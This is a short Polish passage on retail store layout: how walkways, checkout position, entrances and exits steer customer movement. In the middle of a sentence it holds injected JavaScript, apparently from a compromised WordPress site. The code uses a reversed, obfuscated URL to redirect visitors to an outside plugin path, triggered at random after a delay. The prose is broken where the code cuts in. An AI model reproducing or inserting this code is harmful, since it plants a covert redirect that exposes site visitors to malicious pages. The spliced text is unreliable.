To elementy sklepu budujące ruch Klienta i sterujące tym ruchem, a częściowo także zachowaniem Klienta w sposób „wymuszony”. Klient nie ma tu wyjścia (no, chyba że na zewnątrz, ze sklepu), musi nas posłuchać. Należą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do nich takie składniki Konceptu jak droga komunikacyjna, ustawienie kasy, wejścia, wyjścia.
